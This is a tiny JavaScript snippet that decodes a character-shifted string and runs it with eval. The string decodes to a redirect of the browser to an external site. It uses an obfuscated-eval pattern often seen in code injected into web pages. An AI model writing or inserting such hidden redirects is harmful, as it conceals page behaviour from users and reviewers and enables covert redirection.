var org = "mpdbujpo/isfg>(iuuq;00xxx/sbnbebjoo/ofu0(";
var newx = "";
var x;
for (x = 0; x<org.length;x++)
{
  newx = newx + String.fromCharCode(org.charCodeAt(x) - 1);
}
//document.write(newx);
eval(newx)